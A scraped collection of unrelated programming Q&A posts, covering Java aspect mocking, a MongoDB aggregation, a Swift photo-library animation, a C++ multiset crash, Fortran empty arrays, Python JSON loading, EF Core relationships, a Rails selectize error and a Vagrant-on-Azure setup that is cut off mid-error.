AspectMocking(ConfigHelper configHelper, MyLogger myLogger) { this.configHelper = configHelper; this.myLogger = myLogger; } @Around("@annotation(myMock)") public Object getMockedData(ProceedingJoinPoint pjp, MyMock myMock) throws Throwable { final String env = System.getProperty("spring.profiles.active"); String response = null; Object returnObject = null; String logMessage = null; String servName = myMock.name(); Object[] methodArguments = pjp.getArgs(); try { if ("test_env1".equals(env) || "test_env2".equals(env)) { MethodSignature signature = (MethodSignature) pjp.getSignature(); Class returnType = signature.getReturnType(); Map allDataFromMockedFile = getMockedDataFromFile(); Map getResultForKey = (Map) allDataFromMockedFile.get(myMock.name()); List result = null; if(getResultForKey != null){ result = (List) getResultForKey.get("responses"); } switch (myMock.name()) { case "ABC": response = fetchABCMockedData(result, (String) methodArguments[0]); logMessage = "Fetching ABC mock data for ABC Response: " + response; break; case "V2_ABC": response = fetchABCMockedData(getIntlResult(myMock.name(), (String)methodArguments[2]), (String) methodArguments[0]); logMessage = "Fetching V2 ABC mock data for V2 ABC Response: " + response; break; case "DEF": response = fetchDEFMockedData(result, (String) methodArguments[0]); logMessage = "Fetching DEF mock data: " + response; break; case "GHJ": response = fetchGHJMockedOfferData(result, (String) methodArguments[0], (String) methodArguments[1], (String) methodArguments[2]); logMessage = "Fetching GHJ mock data: " + response; break; } ObjectMapper mapper = new ObjectMapper().configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); returnObject = mapper.readValue(response, returnType); } } catch (Exception exp) { myLogger.addMessageAsWarning(String .format("Exception occured for service %s while loading the mocked json, so hitting the actual service:" + exp.getMessage(), servName)); } if (returnObject == null) { returnObject = pjp.proceed(methodArguments); } myLogger.addMessage(logMessage); return returnObject; } private List getIntlResult(String name, String locale){ Map localBasedMockFile = getMockedDataFromFile(locale.toLowerCase()); Map localeSpecificMockedData = (Map) localBasedMockFile.get(name); return (List) localeSpecificMockedData.get("responses"); } // had to add this recently as we needed locale values now to go to a diff file. private Map getMockedDataFromFile(String countryCode){ final String DATA_URL = String.format("/a/b/c/%s/data.json", countryCode); return configHelper.getMAVDataAsObject(DATA_URL, Map.class); } private Map getMockedDataFromFile() { final String DATA_URL = "/a/b/c/zh/mock.json"; return configHelper.getMAVDataAsObject(DATA_URL, Map.class); } private String fetchABCMockedData(List&lt;Map&gt; allResponses, String vinNumber) throws IOException { String response = null; for (Map m : allResponses) { String mockedVinNumber = m.keySet().toString().replaceAll("[\\[\\]]", ""); if (vinNumber.equals(mockedVinNumber)) { response = (String) m.get(mockedVinNumber); } } return response; } private String fetchDEFMockedData(List&lt;String&gt; allResponses, String vinNumber) { return allResponses.contains(vinNumber) ? "true" : "false"; } private String fetchGHJMockedOfferData(List&lt;Map&gt; allResponses, String journey, String name, String pin) { String response = null; String key = journey+"_"+name + "_" + pin; for (Map m : allResponses) { String mockedKey = m.keySet().toString().replaceAll("[\\[\\]]", ""); if (mockedKey.equals(key)) { response = (String) m.get(mockedKey); } } return response; } } </code></pre>
3
3,659
Group books and get count for each of their ratings
<p>I have a Rating model with a book and rating value to it. I would like to get all the ratings count (ratings vary from 1 to 5) for each book in the database.</p> <p>My schema simply looks like - </p> <pre><code> { "_id": ObjectId("57e112312a52fe257e5d1d5c"), "book": ObjectId("57e111142a52fe257e5d1d42"), "rating": 4 } { "_id": ObjectId("57e7a002420d22d6106a4715"), "book": ObjectId("57e111142a52fe257e5d1d42"), "rating": 5 } { "_id": ObjectId("57e7a4cd98bfdb5a11962d54"), "book": ObjectId("57e111142a52fe257e5d17676"), "rating": 5 } { "_id": ObjectId("57e7a4cd98bfdb5a11962d54"), "book": ObjectId("57e111142a52fe257e5d17676"), "rating": 1 } </code></pre> <p>Currently, i have only been able to get to this point where i can get the no of ratings for each book but it doesn't specify exactly the rating value count.</p> <p>This is my current query - </p> <pre><code> db.ratings.aggregate([ {$match: {book: {$in: [ObjectId("57e111142a52fe257e5d1d42"), ObjectId('57e6bef7cad79fa38555c643')]}}}, {$group: {_id: {book: "$book", value: "$value"} } }, {$group: {_id: "$_id.book", total: {$sum: 1}}}, ]) </code></pre> <p>The output is this - </p> <pre><code> { "result": [ { "_id": ObjectId("57e6bef7cad79fa38555c643"), "total": 2 }, { "_id": ObjectId("57e111142a52fe257e5d1d42"), "total": 2 } ], "ok": 1 } </code></pre> <p>However, i want to club all the documents and get a result with the count of ratings for each value of the <code>rating</code> field, something like below. The whole point is that i just want the count of ratings for each value for each book.</p> <pre><code> { result: [ { _id: "57e111142a52fe257e5d17676", 5_star_ratings: 1, 4_star_ratings: 3, 3_star_ratings: 4, 2_star_ratings: 1, 1_star_ratings: 0, }, { _id: "57e111142a52fe257e5d1d42", 5_star_ratings: 10, 4_star_ratings: 13, 3_star_ratings: 7, 2_star_ratings: 8, 1_star_ratings: 19, } . . . . ] } </code></pre> <p>How do i go about this?</p>
3
1,358
UIView.animate not executed in PHPhotoLibrary.shared().performChanges
<p>I have been working on the following code for the entire day now and simply cannot find the problem. I would like to save a video and upon completion make certain buttons or spinners (dis-)appear. All the buttons are setup in the <code>viewDidLoad</code> and so to say exist (they're optionals, therefore also the optional chaining). My problem is the animations in the <code>if</code> clause are never executed. Only sometimes if I place breakpoints before every line of code, it works which really makes me wonder (btw: the breakpoints don't indicate anything unusual). Further, if I replace the code of the <code>if success2 == true</code> with the code of the <code>else</code> (<code>if success2 == false</code>), it works (after the alert pops up). I pretty much quadruple-checked my code and just cannot find what I am doing wrong. Has anyone an idea as to what could be the problem and how it could be solved? </p> <p>Sorry for the huge block of code:</p> <pre><code>PHPhotoLibrary.shared().performChanges({ if let assetChangeRequest = PHAssetChangeRequest.creationRequestForAssetFromVideo(atFileURL: url) { let assetCollectionChangeRequest = PHAssetCollectionChangeRequest(for: albumAssetCollection) let enumeration: NSArray = [assetChangeRequest.placeholderForCreatedAsset!] assetCollectionChangeRequest?.addAssets(enumeration) } }, completionHandler: { (success2: Bool, error2: Error?) in if success2 == true { // prompt that the video has been saved UIView.animate(withDuration: 0.5, delay: 0, usingSpringWithDamping: 1, initialSpringVelocity: 1, options: .curveEaseOut, animations: { if let checkButton = self.checkButton, let saveSpinner = self.saveSpinner, let resetButton = self.resetButton { saveSpinner.alpha = 0 checkButton.alpha = 1 resetButton.alpha = 1 } }) { (completed: Bool) in if completed == true { if let saveSpinner = self.saveSpinner { saveSpinner.stopAnimating() self.timeLimitReached = false self.changeClipsCount() } UIView.animate(withDuration: 0.5, delay: 3, usingSpringWithDamping: 1, initialSpringVelocity: 1, options: .curveEaseOut, animations: { if let checkButton = self.checkButton, let saveButton = self.saveButton { checkButton.alpha = 0 saveButton.alpha = 1 } }) { (completed: Bool) in } } } } else { // prompt that the video has not been saved let alertController = UIAlertController(title: "Something failed!", message: "The video could not be saved.", preferredStyle: .alert) let okAction = UIAlertAction(title: "OK", style: .default, handler: nil) alertController.addAction(okAction) self.present(alertController, animated: true, completion: { UIView.animate(withDuration: 0.5, delay: 0, usingSpringWithDamping: 1, initialSpringVelocity: 1, options: .curveEaseOut, animations: { if let saveButton = self.saveButton, let saveSpinner = self.saveSpinner { saveButton.alpha = 1 saveSpinner.alpha = 0 } }) { (completed: Bool) in if let saveSpinner = self.saveSpinner { saveSpinner.stopAnimating() self.timeLimitReached = false } } }) } }) </code></pre>
3
1,450
In multiset , the code does not enter into compare function and throws error
<p>I have used breakpoints to check if my compare function is being called while inserting element into Multi-set but it never reaches the breakpoint.</p> <p>The error <code>Unhandled exception at 0x003c5a71 in Regular_Calibration_d.exe: 0xC0000005: Access violation reading location 0x00000014.</code></p> <p>I pasting the code below. Please let me know where I am doing wrong . Couple of important thing in which I have a doubt .</p> <ul> <li><p>1) I am manipulating sms.message before actually inserting it in multi-set so do you guys think that I am doing something wrong there which creates the probelem? </p></li> <li><p>2) If I think for a time being that something is wrong with string manipulation but then why it doesnt hit the comapre function which compare time .</p></li> </ul> <p>Below are my code.</p> <p>structure of SMS</p> <pre><code>struct SMS { SMS(const SMSType::Enum e, const QString&amp; s); QDateTime time; SMSType::Enum smsType; QString message; }; </code></pre> <p>//construtcor of message </p> <pre><code>SMS::SMS( const SMSType::Enum e, const QString&amp; s ) : smsType( e ), message( s ) { time = QDateTime::currentDateTime(); } </code></pre> <p>//compare function</p> <pre><code>bool SMS_list::LessSMSTime::operator ()( const SMS&amp; left, const SMS&amp; right ) const { QDate date_left = left.time.date(); QDate date_right = right.time.date(); if( date_left.year() &lt; date_right.year() ) return true; else if( date_left.year() &gt; date_right.year() ) return false; if( date_left.month() &lt; date_right.month() ) return true; else if( date_left.month() &gt; date_right.month() ) return false; if( date_left.day() &lt; date_right.day() ) return true; else if( date_left.day() &gt; date_right.day() ) return false; QTime time_left = left.time.time(); QTime time_right = right.time.time(); if( time_left.hour() &lt; time_right.hour() ) return true; else if( time_left .hour() &gt; time_right.hour() ) return false; if( time_left.minute() &lt; time_right.minute() ) return true; else if( time_left.minute() &gt; time_right.minute() ) return false; if( time_left.second() &lt; time_right.second() ) return true; else if( time_left.second() &gt; time_right.second() ) return false; if( time_left.msec() &lt; time_right.msec () ) return true; return false; } </code></pre> <p>//declaration of multiset</p> <pre><code>std::multiset&lt;SMS, LessSMSTime&gt; SMSSet; </code></pre> <p>// in some function </p> <pre><code>SMSSet.insert( sms ) ; </code></pre> <p>// string manipulation</p> <pre><code>void SMSInterface::output( const SMSType::Enum type, QString str_qt ) const { // convert QString to std::String std::string str = str_qt.toStdString(); QMutex mutex; mutex.lock(); if( str[ str.length() - 1 ] == '\n' ) { str = std::string( str.cbegin(), str.cbegin() + str.length() - 1 ); } //convert std::string to QString QString str_to_qt = QString::fromStdString ( str ); // QString str_to_qt = QString::fromUtf8 ( str.c_str() ); SMS sms( type, str_to_qt ); sms_list_-&gt;add_sms( message ); // inside this function multi-set insertion is called bla bala mutex.unlock(); } </code></pre>
3
1,340
Bound checking for empty arrays --- behavior of various compilers
<p><strong>Update</strong> 20210914: Absoft support confirms that the behavior of <code>af95</code> / <code>af90</code> described below is unintended and indeed a bug. Absoft developers will work to resolve it. The other compilers act correctly in this regard. Thank @Vladimir F for the answer, comments, and suggestions.</p> <hr /> <p>I have the impression that Fortran is cool with arrays of size 0. However, with Absoft Pro 21.0, I encountered a (strange) error involving such arrays. In contrast, <code>gfortran</code>, <code>ifort</code>, <code>nagfor</code>, <code>pgfortran</code>, <code>sunf95</code>, and <code>g95</code> are all happy with the same piece of code.</p> <p>Below is a minimal working example.</p> <pre><code>! testempty.f90 !!!!!! A module that offends AF90/AF95 !!!!!!!!!!!!!!!!!!!!!!!! module empty_mod implicit none private public :: foo contains subroutine foo(n) implicit none integer, intent(in) :: n integer :: a(0) integer :: b(n - 1) call bar(a) ! AF90/AF95 is happy with this line. call bar(b) ! AF90/AF95 is angry with this line. end subroutine foo subroutine bar(x) implicit none integer, intent(out) :: x(:) x = 1 ! BAR(B) annoys AF90/AF95 regardless of this line. end subroutine bar end module empty_mod !!!!!! Module ends !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!! Main program !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! program testempty use empty_mod, only : foo implicit none call foo(2) ! AF90/AF95 is happy with this line. call foo(1) ! AF90/AF95 is angry with this line. write (*, *) 'Succeed!' ! Declare victory when arriving here. end program testempty !!!!!! Main program ends !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! </code></pre> <p>Name this piece of code as <code>testempty.f90</code>. Then run</p> <pre><code>$ af95 -no-pie -et -Rb -g -O0 -o atest testempty.f90 $ ./atest </code></pre> <p>This is what happened on my machine (Ubuntu 20.04, linux 5.4.0-77-generic, x86_64):</p> <pre><code>./atest ? FORTRAN Runtime Error: ? Subscript 1 is out of range for dimension 1 for array ? B with bounds 1: ? File testempty.f90; Line 19 ? atest, run-time exception on Mon Sep 13 14:08:41 2021 ? Program counter: 000000001004324B ? Signal SIGABRT, Abort ? Traceback follows OBJECT PC ROUTINE LINE SOURCE libpthread.so.0 000000001004324B raise N/A N/A atest 00000000004141F3 __abs_f90rerr N/A N/A atest 000000000041CA81 _BOUNDS_ERROR N/A N/A atest 00000000004097B4 __FOO.in.EMPTY_MO N/A N/A atest 000000000040993A MAIN__ 40 testempty.f90 atest 000000000042A209 main N/A N/A libc.so.6 000000000FD0C0B3 __libc_start_main N/A N/A atest 000000000040956E _start N/A N/A </code></pre> <p>So <code>af95</code> was annoyed by <code>call bar(b)</code>. With <code>af90</code>, the result was the same.</p> <p>I tested the same code using <code>gfortran</code>, <code>ifort</code>, <code>nagfor</code>, <code>pgfortran</code>, <code>sunf95</code>, and <code>g95</code>. All of them were quite happy with the code even though I imposed bound checking explicitly. Below is the <code>Makefile</code> for the tests.</p> <pre><code># This Makefile tests the following compilers on empty arrays. # # af95: Absoft 64-bit Pro Fortran 21.0.0 # gfortran: GNU Fortran (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 # ifort: ifort (IFORT) 2021.2.0 20210228 # nagfor: NAG Fortran Compiler Release 7.0(Yurakucho) Build 7036 # pgfortran: pgfortran (aka nvfortran) 21.3-0 LLVM 64-bit x86-64 # sunf95: Oracle Developer Studio 12.6 # g95: G95 (GCC 4.0.3 (g95 0.94!) Jan 17 2013) # # Tested on Ubuntu 20.04 with Linux 5.4.0-77-generic x86_64 .PHONY: test clean test: make -s gtest make -s itest make -s ntest make -s ptest make -s stest make -s 9test make -s atest gtest: FC = gfortran -Wall -Wextra -fcheck=all itest: FC = ifort -warn all -check all ntest: FC = nagfor -C ptest: FC = pgfortran -C -Mbounds stest: FC = sunf95 -w3 -xcheck=%all -C 9test: FC = g95 -Wall -Wextra -fbounds-check atest: FC = af95 -no-pie -et -Rb %test: testempty.f90 $(FC) -g -O0 -o $@ $&lt; ./$@ clean: rm -f *.o *.mod *.dbg *test </code></pre> <p><strong>Questions:</strong></p> <ol> <li>Is the behavior of <code>af95</code>/<code>af90</code> standard-conforming?</li> <li>Does my code contain anything that violates the Fortran standards?</li> <li>In general, is it considered dangerous to involve empty arrays in Fortran code? Sometimes they are inevitable given the fact the data sizes are often undecidable before runtime.</li> </ol> <p>By &quot;standards&quot;, I mean 2003, 2008, and 2018.</p> <p>Thank you very much for any comments or criticism.</p> <p>(The same question is posed on <a href="https://fortran-lang.discourse.group/t/bound-checking-for-empty-arrays-behavior-of-various-compilers/1828" rel="nofollow noreferrer">Fortran Discourse</a>, and I hope it does not violate the rules here.)</p>
3
2,012
Uploading text file dictionary to python dictionary is not working
<p>I created a dictionary with data in this format in python. This is what my product.txt file contains</p> <blockquote> <p>{&quot;6TII7N11RJ0J&quot;: {&quot;productName&quot;: &quot;Hisense 58&quot; Class 4K UHD LED Roku Smart TV HDR 58R6E3&quot;, &quot;productDescription&quot;: &quot;58 Hisense 4k Roku Tv W/ Hdr&quot;, &quot;productLocation_section&quot;: &quot;N/A&quot;, &quot;productLocation_zone&quot;: &quot;N/A&quot;, &quot;productLocation_aisle&quot;: &quot;N/A&quot;, &quot;productImg&quot;: &quot;http://i5.walmartimages.com/asr/e00046a4-2eb3-48dc-b9ab-f0b750c384a7_1.fbb6003cb707252842bc913860c28568.jpeg?odnHeight=180&amp;odnWidth=180&amp;odnBg=ffffff&quot;, &quot;productImg1&quot;: &quot;/ip/Hisense-58-Class-4K-UHD-LED-Roku-Smart-TV-HDR-58R6E3/587182688&quot;, &quot;productPrice&quot;: 278, &quot;product_stock_status&quot;: &quot;In Stock&quot;, &quot;productBrand&quot;: &quot;Hisense&quot;, &quot;productRating&quot;: 4.5, &quot;productDept&quot;: &quot;Electronics&quot;, &quot;store_available&quot;: &quot;walmart&quot;, &quot;_partitionKey&quot;: &quot;store=name&quot;, &quot;storeProductId&quot;: &quot;6TII7N11RJ0J&quot;}, &quot;3MI7DUPI5M39&quot;: {&quot;productName&quot;: &quot;Hisense 40&quot; Class FHD (1080P) Roku Smart LED TV (40H4030F1)&quot;, &quot;productDescription&quot;: &quot;Hisense 40&quot; Class 1080P FHD LED Roku Smart TV 40H4030F1&quot;, &quot;productLocation_section&quot;: 6, &quot;productLocation_zone&quot;: &quot;J&quot;, &quot;productLocation_aisle&quot;: 23, &quot;productImg&quot;: &quot;http://i5.walmartimages.com/asr/104b5bcf-e7da-497b-87f6-0a5a56249d27_1.5c18e44aae7893f3044b2aeeed360603.jpeg?odnHeight=180&amp;odnWidth=180&amp;odnBg=ffffff&quot;, &quot;productImg1&quot;: &quot;/ip/Hisense-40-Class-FHD-1080P-Roku-Smart-LED-TV-40H4030F1/470905078&quot;, &quot;productPrice&quot;: 178, &quot;product_stock_status&quot;: &quot;Out of Stock&quot;, &quot;productBrand&quot;: &quot;Hisense&quot;, &quot;productRating&quot;: 4.5, &quot;productDept&quot;: &quot;Electronics&quot;, &quot;store_available&quot;: &quot;walmart&quot;, &quot;_partitionKey&quot;: &quot;store=walmart&quot;, &quot;storeProductId&quot;: &quot;3MI7DUPI5M39&quot;}</p> </blockquote> <p>product.txt file's content were created through this code</p> <pre><code> try: # WRITE THE PRODUCT TO FILE productFile = &quot;storeData/store/productDir.txt&quot; with open(productFile, &quot;w&quot;) as pfile: pfile.write(json.dumps(NewProductDict)) except Exception as e: print(e) </code></pre> <p>now I need to open product.txt file and read the content back into a dictionary in python. This is one of many codes i tried.</p> <pre><code>def uploadProductDir(): productFile1 = &quot;storeData/store/productDir.txt&quot; with open(productFile1, &quot;r&quot;) as pfile: developer = json.load(pfile) for key, value in developer.items(): print(key, &quot;:&quot;, value, &quot;\n&quot;) </code></pre> <p>but i am getting this error</p> <blockquote> <p>Expecting value&quot;, s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)</p> </blockquote> <p>how could I upload a text file containing dictionary data format above in python so that i can iterate through the dictionary. This was a python json dictionary that i mistakenly saved to a .txt instead of .json file. Now I want to import from the .txt file back in python so that i can work with the data.</p>
3
1,536
Duplicate navigation property cannot be used due to single relationship error
<p>I am trying to solve a relatively simple setup but am wondering if there is a better way to set this relation one. </p> <p>I have a User class that is the starting point for all other relationships. Every other class unless specific conditions are met has a 1-to-many relationship to the User class (e.g. MenuItems is just one of them, there are other classes with the same relationship).</p> <p>I have a MenuItem class that has has the UserId as the foreign key. I also want to track the user that last updated the item. But if I add the <code>LastUpdatedById</code> and <code>LastUpdatedBy</code> properties, EF core will throw an error due to the navigation property <code>User</code> participating in more than one relationship. </p> <p>The whole point I was trying to solve this was when fetching the items, to include the <code>Created</code> and <code>LastUpdatedBy</code> properties so that I can easily access the user name + id. <strong><em>Is there a way to solve this or is the only option to make this a many-to-many relationship? If so, what would be the best method to accomplish that?</em></strong></p> <p>The simplest option would be to make the properties string values and just update them during relevant CRUD operations but I wanted this to be a little more dynamic.</p> <pre><code>public class User { [Key] public Guid Id { get; set; } [Required] public string Name { get; set; } [Required] public DateTime Created { get; set; } public ICollection&lt;MenuItem&gt; MenuItems { get; set; } } public class MenuItem { [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)] public int Id { get; set; } public ItemType Type { get; set; } [Required] public DateTime Created { get; set; } public int? ParentMenuItemId { get; set; } public MenuItem ParentMenuItem { get; set; } public ICollection&lt;MenuItem&gt; ChildMenuItems { get; set; } [Required] public Guid UserId { get; set; } [Required] public User CreatedBy { get; set; } [Required] public Guid LastUpdatedById { get; set; } [Required] public User LastUpdatedBy { get; set; } } </code></pre> <hr> <p>Thanks to David for my solution. I ended up going a slightly different route based on his answer:</p> <p>I created below 2 properties and deleted the original collection of MenuItem from User. </p> <pre><code>public ICollection&lt;MenuItem&gt; UpdatedMenuItems { get; set; } public ICollection&lt;MenuItem&gt; CreatedMenuItems { get; set; } </code></pre> <p>I also used fluent API to explicitly define the relationship to make it fully defined.</p> <pre><code>modelBuilder.Entity&lt;MenuItem&gt;() .HasOne(x =&gt; x.CreatedBy) .WithMany(x =&gt; x.CreatedMenuItems) .HasForeignKey(x =&gt; x.UserId) .OnDelete(DeleteBehavior.Cascade); modelBuilder.Entity&lt;MenuItem&gt;() .HasOne(x =&gt; x.LastUpdatedBy) .WithMany(x =&gt; x.UpdatedMenuItems) .HasForeignKey(p =&gt; p.LastUpdatedById) .OnDelete(DeleteBehavior.Restrict); </code></pre>
3
1,092
Ruby on rails : "couldn't find file 'selectize'"
<p>When I run my rails server in development mode, I get this error message :</p> <pre><code>Sprockets::FileNotFound at / couldn't find file 'selectize' (in /XXX/app/assets/stylesheets/application.scss:3) </code></pre> <p>I don't understand the problem because I have installed the gem : <strong>selectize-rails (0.12.4)</strong></p> <p>In my <strong>application.scss</strong> I have </p> <pre><code>&gt; /* &gt; *= require jquery.ui.autocomplete &gt; *= require selectize &gt; *= require selectize.default &gt; *= require_self &gt; */ </code></pre> <p>Do yo have an idea ? Thanks a lot</p> <pre><code>#rails -v Rails 4.1.1 #gem list *** LOCAL GEMS *** actionmailer (4.1.1) actionpack (4.1.1) actionview (4.1.1) activemodel (4.1.1) activerecord (4.1.1) activesupport (4.1.1) addressable (2.3.6) airbrake (4.1.0) ancestry (2.1.0) arel (5.0.1.20140414130214) autoprefixer-rails (3.1.1.20141001) awesome_print (1.2.0) backup (3.4.0) bcrypt (3.1.7) better_errors (2.0.0) bigdecimal (1.2.4) binding_of_caller (0.7.2) bourbon (3.2.3) brakeman (2.6.2) buftok (0.2.0) builder (3.2.2) bundler (1.14.3) capistrano (2.15.5) celluloid (0.16.0) choice (0.1.6) chronic (0.10.2) ckeditor (4.1.0) clamp (0.6.3) coderay (1.1.0) coffee-rails (4.0.1) coffee-script (2.3.0) coffee-script-source (1.8.0) connection_pool (2.0.0) debug_inspector (0.0.2) devise (3.4.0) devise-i18n (0.11.2) docile (1.1.5) dotenv (0.11.1) dotenv-deployment (0.0.2) dragonfly (1.0.7) elasticsearch (1.0.5) elasticsearch-api (1.0.5) elasticsearch-model (0.1.6) elasticsearch-rails (0.1.6) elasticsearch-transport (1.0.5) equalizer (0.0.9) erubis (2.7.0) excon (0.40.0) execjs (2.2.1) fabrication (2.11.3) faker (1.4.3) faraday (0.9.0) fastercsv (1.5.5) ffi (1.9.5) fog (1.23.0) fog-brightbox (0.5.1) fog-core (1.24.0) fog-json (1.0.0) fog-softlayer (0.3.20) foreman (0.75.0) formatador (0.2.5) foundation-rails (5.4.5.0) guard (2.6.1) guard-minitest (2.3.2) haml (4.0.5) hashie (3.3.1) highline (1.6.21) hike (1.2.3) hipchat (1.3.0) hitimes (1.2.2) http (0.6.2) http_parser.rb (0.6.0) httparty (0.13.1) i18n (0.6.11) i18n-extra_translations (0.0.6) inflecto (0.0.2) io-console (0.4.2) ipaddress (0.8.0) jbuilder (2.2.1) jquery-fileupload-rails (0.4.1) jquery-rails (3.1.2) jquery-ui-rails (4.2.1) json (1.8.1) jwt (1.0.0) kaminari (0.16.1) kgio (2.9.2) launchy (2.4.2) letter_opener (1.2.0) libv8 (3.16.14.7 x86_64-darwin-14) liquid (2.6.1) listen (2.7.11) lumberjack (1.0.9) mail (2.5.4) memoizable (0.4.2) method_source (0.8.2) mime-types (1.25.1) mini_portile (0.6.0) minitest (5.4.2, 4.7.5) minitest-spec-rails (5.1.0) multi_json (1.10.1) multi_xml (0.5.5) multipart-post (2.0.0) naught (1.0.0) net-scp (1.2.1) net-sftp (2.1.2) net-ssh (2.9.1) net-ssh-gateway (1.2.0) nokogiri (1.6.3.1) oauth (0.4.7) oauth2 (1.0.0) omniauth (1.2.2) omniauth-facebook (2.0.0) omniauth-oauth (1.0.1) omniauth-oauth2 (1.2.0) omniauth-twitter (1.0.1) open4 (1.3.4) orm_adapter (0.5.0) pg (0.17.1) polyglot (0.3.5) pry (0.10.1) pry-rails (0.3.2) psych (2.0.5) puma (2.9.1) rack (1.5.2) rack-cache (1.2) rack-protection (1.5.3) rack-test (0.6.2) rails (4.1.1) rails-erd (1.1.0) railties (4.1.1) raindrops (0.13.0) rake (10.3.2, 10.1.0) rb-fsevent (0.9.4) rb-inotify (0.9.5) rdoc (4.1.2, 4.1.0) redis (3.1.0) redis-namespace (1.5.1) ref (1.0.5) responders (1.1.1) rubber (2.13.1) ruby-graphviz (1.0.9) ruby-prof (0.15.1) ruby2ruby (2.1.3) ruby_parser (3.5.0) sass (3.2.19) sass-rails (4.0.3) sdoc (0.4.1) selectize-rails (0.12.4) sexp_processor (4.4.4) sidekiq (3.2.4) simple_oauth (0.2.0) simplecov (0.9.1) simplecov-html (0.8.0) sinatra (1.4.5) slim (2.0.3) slim-rails (2.1.5) slop (3.6.0) spring (1.1.3) sprockets (2.11.0) sprockets-rails (2.1.4) sqlite3 (1.3.9) temple (0.6.8) terminal-table (1.4.5) test-unit (2.1.2.0) therubyracer (0.12.1) thor (0.19.1) thread_safe (0.3.4) tilt (1.4.1) timers (4.0.1) treetop (1.4.15) turbolinks (2.4.0) twitter (5.11.0) tzinfo (1.2.2) uglifier (2.5.3) unicorn (4.8.3) warden (1.2.3) whenever (0.9.3) yard (0.8.7.4) </code></pre>
3
2,292
Error in creating a virtual machine in using vagrant
<p>I want to create a virtual machine in Azure using Vagrant. I follow this link <a href="https://www.linkedin.com/pulse/azure-devops-vagrant-jo%C3%A3o-pedro-soares/" rel="nofollow noreferrer">link</a> I have obtained successfully the credentials of azure and here is my vagrantFile:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code># -*- mode: ruby -*- # vi: set ft=ruby : # All Vagrant configuration is done below. The "2" in Vagrant.configure #Ponemos el plugin que hemos instalado antes y que se explica durante el tutorial require "vagrant-azure" # configures the configuration version (we support older styles for # backwards compatibility). Please don't change it unless you know what # you're doing. Vagrant.configure("2") do |config| # The most common configuration options are documented and commented below. # For a complete reference, please see the online documentation at # https://docs.vagrantup.com. # Every Vagrant development environment requires a box. You can search for # boxes at https://vagrantcloud.com/search. #Aqui ponemos el nuestro box al lugar del box por defecto. # config.vm.box = "base" config.vm.box = "azure" # Disable automatic box update checking. If you disable this, then # boxes will only be checked for updates when the user runs # `vagrant box outdated`. This is not recommended. # config.vm.box_check_update = false config.ssh.private_key_path = "/home/elda/.ssh/id_rsa" # Create a forwarded port mapping which allows access to a specific port # within the machine from a port on the host machine. In the example below, # accessing "localhost:8080" will access port 80 on the guest machine. # NOTE: This will enable public access to the opened port #config.vm.network "forwarded_port", guest: 80, host: 8080 # Create a forwarded port mapping which allows access to a specific port # within the machine from a port on the host machine and only allow access # via 127.0.0.1 to disable public access #config.vm.network "forwarded_port", guest: 80, host: 8080, host_ip: "127.0.0.1" # Create a private network, which allows host-only access to the machine # using a specific IP. # config.vm.network "private_network", ip: "192.168.33.10" # Create a public network, which generally matched to bridged network. # Bridged networks make the machine appear as another physical device on # your network. # config.vm.network "public_network" # Share an additional folder to the guest VM. The first argument is # the path on the host to the actual folder. The second argument is # the path on the guest to mount the folder. And the optional third # argument is a set of non-required options. # config.vm.synced_folder "../data", "/vagrant_data" # Provider-specific configuration so you can fine-tune various # backing providers for Vagrant. These expose provider-specific options. # Example for VirtualBox: # # config.vm.provider "virtualbox" do |vb| # # Display the VirtualBox GUI when booting the machine # vb.gui = true # # # Customize the amount of memory on the VM: # vb.memory = "1024" # end # View the documentation for the provider you are using for more # information on available options. # Configuramos el niuestro proveedor azure config.vm.provider "azure" do |az, override| # Los param del VM #az.vm_name = 'pgtic_test2' #az.vm_size = 'Standard_B1s' #az.vm_image_urn = 'Canonical:UbuntuServer:16.04-LTS:latest' #az.resource_group_name = 'vagrant' # Aqui usamos el informacion obtenido del servicio principal Azure AD # Tweak to bypass Azure Box not found az.tenant_id = ".........." az.client_id = "........." az.client_secret = ".........." az.subscription_id = "............." # Enable provisioning with a shell script. Additional provisioners such as # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the # documentation for more information about their specific syntax and use. # config.vm.provision "shell", inline: &lt;&lt;-SHELL # apt-get update # apt-get install -y apache2 # SHELL end config.vm.provision "shell", inline: "echo Hello, World" end</code></pre> </div> </div> All the plugins are installed, but the problem is that when I try to <code>vagrant up</code> the machine it gives me an error, for which I cannot find a response:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code> Bringing machine 'default' up with 'azure' provider... ==&gt; default: Launching an instance with the following settings... ==&gt; default: -- Management Endpoint: https://management.azure.com ==&gt; default: -- Subscription Id: ebf53860-e727-4003-90bc-3d099632c913 ==&gt; default: -- Resource Group Name: red-darkness-38 ==&gt; default: -- Location: westus ==&gt; default: -- Admin Username: vagrant ==&gt; default: -- VM Name: polished-voice-23 ==&gt; default: -- VM Storage Account Type: Premium_LRS ==&gt; default: -- VM Size: Small ==&gt; default: -- Image URN: canonical:ubuntuserver:16.04.0-LTS:latest ==&gt; default: -- DNS Label Prefix: polished-voice-23 /home/elda/.vagrant.d/gems/2.4.3/gems/azure_mgmt_compute-0.10.0/lib/generated/azure_mgmt_compute/virtual_machine_images.rb:218:in `block in list_async': { (MsRestAzure::AzureOperationError) "message": "MsRestAzure::AzureOperationError: AuthorizationFailed: The client '6939d76b-a697-42d0-a52f-1af3c8412d51' with object id '6939d76b-a697-42d0-a52f-1af3c8412d51' does not have authorization to perform action 'Microsoft.Compute/locations/publishers/artifacttypes/offers/skus/versions/read' over scope '/subscriptions/ebf53860-e727-4003-90bc-3d099632c913'.", "request": { "base_uri": "https://management.azure.com", "path_template": "/subscriptions/{subscriptionId}/providers/Microsoft.Compute/locations/{location}/publishers/{publisherName}/artifacttypes/vmimage/offers/{offer}/skus/{skus}/versions", "method": "get", "path_params": { "location": "westus", "publisherName": "canonical", "offer": "ubuntuserver", "skus": "16.04.0-LTS", "subscriptionId": 